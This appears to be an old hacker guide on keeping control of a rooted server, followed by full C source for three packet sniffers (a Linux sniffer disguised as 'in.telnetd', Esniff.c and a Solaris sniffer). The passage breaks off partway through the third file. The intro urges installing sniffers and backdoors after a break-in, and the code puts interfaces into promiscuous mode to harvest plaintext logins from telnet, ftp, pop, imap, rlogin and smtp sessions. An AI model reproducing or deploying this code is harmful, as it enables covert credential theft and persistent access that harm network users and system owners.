				What to do next ?
			---------------------------------

Confuzed ? You hacked a server, got root, got the passwd/shadow file ?????
Dont know what to do next ? Really ?
Well, if you really want to keep that server, try installing some "stuff"...
Like, a sniffer here, a backdoor there.. and so on...
Like you have a choice.. :)
Remember ... You always have a choice, no matter how bad it looks...
So, let's get back to our sheep.. :)
So you want a sniffer.. yeah ? i dont think you really need Sniffit to do
the job, so you might settle for  a much portable sniffer...

/* Linux Sniffer, modified by Phantom, so that it hides in memory...*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>


int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);


struct etherpacket
{
   struct ethhdr eth;
   struct iphdr  ip;
   struct tcphdr tcp;
   char buff[8192];
}ep;

struct
{
   unsigned long      saddr;
   unsigned long      daddr;
   unsigned short     sport;
   unsigned short     dport;
   int                bytes_read;
   char               active;
   time_t             start_time;
} victim;

struct iphdr  *ip;
struct tcphdr *tcp;
int s;
FILE *fp;

#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"

int openintf(char *d)
{
   int fd;
   struct ifreq ifr;
   int s;
   fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
   if(fd < 0)
   {
      perror("cant get SOCK_PACKET socket");
      exit(0);
   }
   strcpy(ifr.ifr_name, d);
   s=ioctl(fd, SIOCGIFFLAGS, &ifr);
   if(s < 0)
   {
      close(fd);
      perror("cant get flags");
      exit(0);
   }
   ifr.ifr_flags |= IFF_PROMISC;
   s=ioctl(fd, SIOCSIFFLAGS, &ifr);
   if(s < 0) perror("cant set promiscuous mode");
   return fd;
}

int read_tcp(int s)
{
   int x;
   while(1)
   {
      x=read(s, (struct etherpacket *)&ep, sizeof(ep));
      if(x > 1) 
      {
         if(filter()==0) continue;
         x=x-54;
         if(x < 1) continue;
         return x;
      }
   }
}

int filter(void)
{
   int p;
   p=0;
   if(ip->protocol != 6) return 0;
   if(victim.active != 0)   
      if(victim.bytes_read > CAPTLEN)
      {
         fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
         clear_victim();
         return 0;
      }
   if(victim.active != 0)
      if(time(NULL) > (victim.start_time + TIMEOUT))
      {
         fprintf(fp, "\n----- [Timed Out]\n");
         clear_victim();
         return 0;
      }                                                                                                                  
   if(ntohs(tcp->dest)==21)  p=1; /* ftp */
   if(ntohs(tcp->dest)==23)  p=1; /* telnet */
   if(ntohs(tcp->dest)==110) p=1; /* pop3 */
   if(ntohs(tcp->dest)==109) p=1; /* pop2 */
   if(ntohs(tcp->dest)==143) p=1; /* imap2 */
   if(ntohs(tcp->dest)==513) p=1; /* rlogin */
   if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
   if(victim.active == 0)
      if(p == 1)
         if(tcp->syn == 1)
         {
            victim.saddr=ip->saddr;
            victim.daddr=ip->daddr;
            victim.active=1;
            victim.sport=tcp->source;
            victim.dport=tcp->dest;
            victim.bytes_read=0;
            victim.start_time=time(NULL);
            print_header();
         }  
   if(tcp->dest != victim.dport) return 0;
   if(tcp->source != victim.sport) return 0;
   if(ip->saddr != victim.saddr) return 0;
   if(ip->daddr != victim.daddr) return 0;
   if(tcp->rst == 1) 
   {
      victim.active=0;
      alarm(0);
      fprintf(fp, "\n----- [RST]\n");
      clear_victim();
      return 0;
   }
   if(tcp->fin == 1) 
   {
      victim.active=0;
      alarm(0);
      fprintf(fp, "\n----- [FIN]\n");
      clear_victim();
      return 0;
   }
   return 1;
}

   
int print_header(void)
{
   fprintf(fp, "\n");
   fprintf(fp, "%s => ", hostlookup(ip->saddr));
   fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));   
}

int print_data(int datalen, char *data)
{
   int i=0;
   int t=0;
   
   victim.bytes_read=victim.bytes_read+datalen;
   for(i=0;i != datalen;i++)
   {
      if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
      if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
      if(t > 75) {t=0;fprintf(fp, "\n");}
   }
}


main(int argc, char **argv)
{
   sprintf(argv[0],"%s","in.telnetd");
   s=openintf("eth0");
   ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
   tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);   
   signal(SIGHUP, SIG_IGN);
   signal(SIGINT, cleanup);
   signal(SIGTERM, cleanup);
   signal(SIGKILL, cleanup);
   signal(SIGQUIT, cleanup);
   if(argc == 2) fp=stdout;
   else fp=fopen(TCPLOG, "at");
   if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}
   clear_victim();
   for(;;)
   {
      read_tcp(s);
      if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
      fflush(fp);      
   }   
}

char *hostlookup(unsigned long int in)
{ 
   static char blah[1024];
   struct in_addr i;
   struct hostent *he;
   
   i.s_addr=in;
   he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
   if(he == NULL) strcpy(blah, inet_ntoa(i));
   else strcpy(blah, he->h_name);
   return blah;
}

void clear_victim(void)
{
   victim.saddr=0;
   victim.daddr=0;
   victim.sport=0;
   victim.dport=0;
   victim.active=0;
   victim.bytes_read=0;
   victim.start_time=0;
}

void cleanup(int sig)
{
   fprintf(fp, "Exiting...\n");
   close(s);
   fclose(fp);
   exit(0);
}

another one: 

/* Esniff.c */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
        *ProgName,
        *LogName;
FILE    *LOG;
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
     struct CREC *Next,
                 *Last;
     time_t  Time;              /* start time */
     struct in_addr SRCip,
                    DSTip;
     u_int   SRCport,           /* src/dst ports */
             DSTport;
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}

char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break;
    CLr = CLr->Next;
  }
  return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                        NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }

   fprintf(LOG,"\n-- \n");
   fflush(LOG);

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \
}

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
 register struct ip     *ip;
 register struct tcphdr *tcph;

 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
 }

    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);

 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_LOGINSERVER) ||
       (TCPD == IPPORT_FTP)
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;

   p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

      CLm->PKcnt++;

      if(length>0)
        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }

      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }

   } else {

      if(TCPFL(TH_SYN)) {
         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }

   }

   IDLE_NODE();

 }

}

/* signal handler
 */
void death()
{ register struct CREC *CLe;

    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)&ifr;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");
  }

    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf,
                      *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;

            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
        }
    }
    Pexit((-1),"Eth: read");
}
 /* Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
        exit(1);
}
    */
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,
           ac=1,
           backg=0;

    ProgName=argv[0];

 /*     getauth(); */

    LOG=NULL;
    device=NULL;
    while((ac<argc) && (argv[ac][0] == '-')) {
       register char ch = argv[ac++][1];
       switch(toupper(ch)) {
            case 'I': device=argv[ac++];
                      break;
            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                         Zexit(1,"Output file cant be opened\n");
                      break;
            case 'B': backg=1;
                      break;
            case 'D': debug=1;
                      break;
            default : fprintf(ERR,
                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
                            ProgName);
                      exit(1);
       }
    }

    if(!device) {
        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            Pexit(1,"Eth: socket");

        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf;
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");

        close(s);
        device = ifc.ifc_req->ifr_name;
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

    if(!LOG)
        LOG=stdout;

    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);

    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
         backg=0;
    }

    if(backg) {
        register int s;

        if((s=fork())>0) {
           fprintf(ERR,"[pid %d]\n",s);
           exit(0);
        } else if(s<0)
           Pexit(1,"fork");

        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
                close(s);
        }
    }
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);

    do_it();
}

/* solsniffer.c - v1.10 - Michael R. Widner (atreus, J.Galt)
 *
 * This is sunsniffer.c modified to run on dlpi systems, notably
 * solaris 2.x.  The additions are rather verbose, but I'm really
 * too damn lazy to bother cleaning it up.

 * 4/26/94 - initial code.  Had some serious hacks in the bufmod stuff.
 * 4/28/94 - v 1.0 fixed up the bufmod stuff a little, but still wrong.
 * 8/11/94 - v 1.1 ok, bufmod fixed.  No more packet dropping.
 *           Also fixed/added some command line options.
 *           -sflt to filter smtp, ftp, login and telnet respectively.
 *           -d x  to set data limit; good for catching mail and stuff
 *            going through firewalls.  Like luser on my subnet does
 *            telnet firewall.myorg.com, then from there does
 *            telnet someplace.outside.mynet
 *
 * Uploaded by: an112467@anon.penet.fi
 */

#include	<sys/stream.h>
#include	<sys/dlpi.h>
#include	<sys/bufmod.h>

#include <stdio.h>
#include <ctype.h>
#include <string.h>
 
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
 
#include <net/if.h>
#include <net/if_arp.h>
 
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
 
#include <netdb.h>
#include <arpa/inet.h>
 
/* #define		MAXDLBUF	8192  /* this is much too low -mrw */
#define		MAXDLBUF	32768 /* This is much bigger than any packet */
#define		MAXWAIT		15
#define		MAXDLADDR	1024

/* workaround for bcopy, etc. */
#define bcopy(s1, s2, len) memcpy(s2, s1, len)
#define index(s, c) strchr(s, c)
#define rindex(s, c) strrchr(s, c)
#define bzero(s, len) memset(s, 0, len)
#define bcmp(s1, s2, len) (memcmp(s1, s2, len)!=0)
/*
 * externs go here
 */
extern	void	sigalrm();
#define ERR stderr
 
char    *malloc();
char    *device,
        *ProgName,
        *LogName;
FILE    *LOG;
int     debug=0;
long	databuf[MAXDLBUF];
 
#define NIT_DEV     "/dev/le"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

/* More ugly global stuff. */
int	promisc = 1;	/* promiscuous mode "on" by default */
int	bufmod = 0;		/* push buffer module, "off" by default */
int	filter_flags=0;	/* connections we'd like to fileter */
#define FILT_TELNET  1
#define FILT_FTP     2
#define FILT_LOGIN   4
#define FILT_SMTP    8
int	maxbuflen=128;	/* Define a new DATA LIMIT. Still max at MAXBUFLEN */
 
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }
 
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }
 
#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)
 
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

/* I cranked this up.  reduce it if you run out of mem. -mrw */ 
#define MAXBUFLEN  (8192)
time_t  LastTIME = 0;
 
struct CREC {
     struct CREC *Next,
                 *Last;
     time_t  Time;              /* start time */
     struct in_addr SRCip,
                    DSTip;
     u_int   SRCport,           /* src/dst ports */
             DSTport;
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;
};
 
struct CREC *CLroot = NULL;
 
char *Symaddr(ip)
struct in_addr ip;
{ struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
 
  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}
 
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
 
  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}
 
char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;
 
   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}
 
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}
 
char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}
 
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
 
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}
 
struct CREC *GET_NODE(Sip,SP,Dip,DP)
struct in_addr Sip,Dip;
register u_int SP,DP;
{ struct CREC *CLr = CLroot;
 
  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break;
    CLr = CLr->Next;
  }
  return(CLr);
}
             
#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}
 
#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
}
 
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                        NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }
 
   fprintf(LOG,"\n-- \n");
   fflush(LOG);
 
   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}
 
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \
}
 
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
 register struct ip     *ip;
 register struct tcphdr *tcph;
 
 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
 
   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }
 
   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
 }
 
    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
 
 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);
 
if(!( ((TCPD == IPPORT_TELNET) && !(filter_flags & FILT_TELNET)) ||
       ((TCPD == IPPORT_LOGINSERVER) && !(filter_flags & FILT_LOGIN)) ||
       ((TCPD == IPPORT_FTP) && !(filter_flags & FILT_FTP)) ||
       ((TCPD == IPPORT_SMTP) && !(filter_flags & FILT_SMTP))
   )) return;
 
 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;
 
   p += ((IPHLEN * 4) + (TCPOFF * 4));
 
 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }
 
   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
 
      CLm->PKcnt++;
 
      if(length>0)
        if( (CLm->Length + length) < maxbuflen ) { /* was MAXBUFLEN */
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }
 
      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }
 
   } else {
 
      if(TCPFL(TH_SYN)) {
         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }
 
   }
 
   IDLE_NODE();
 
 }
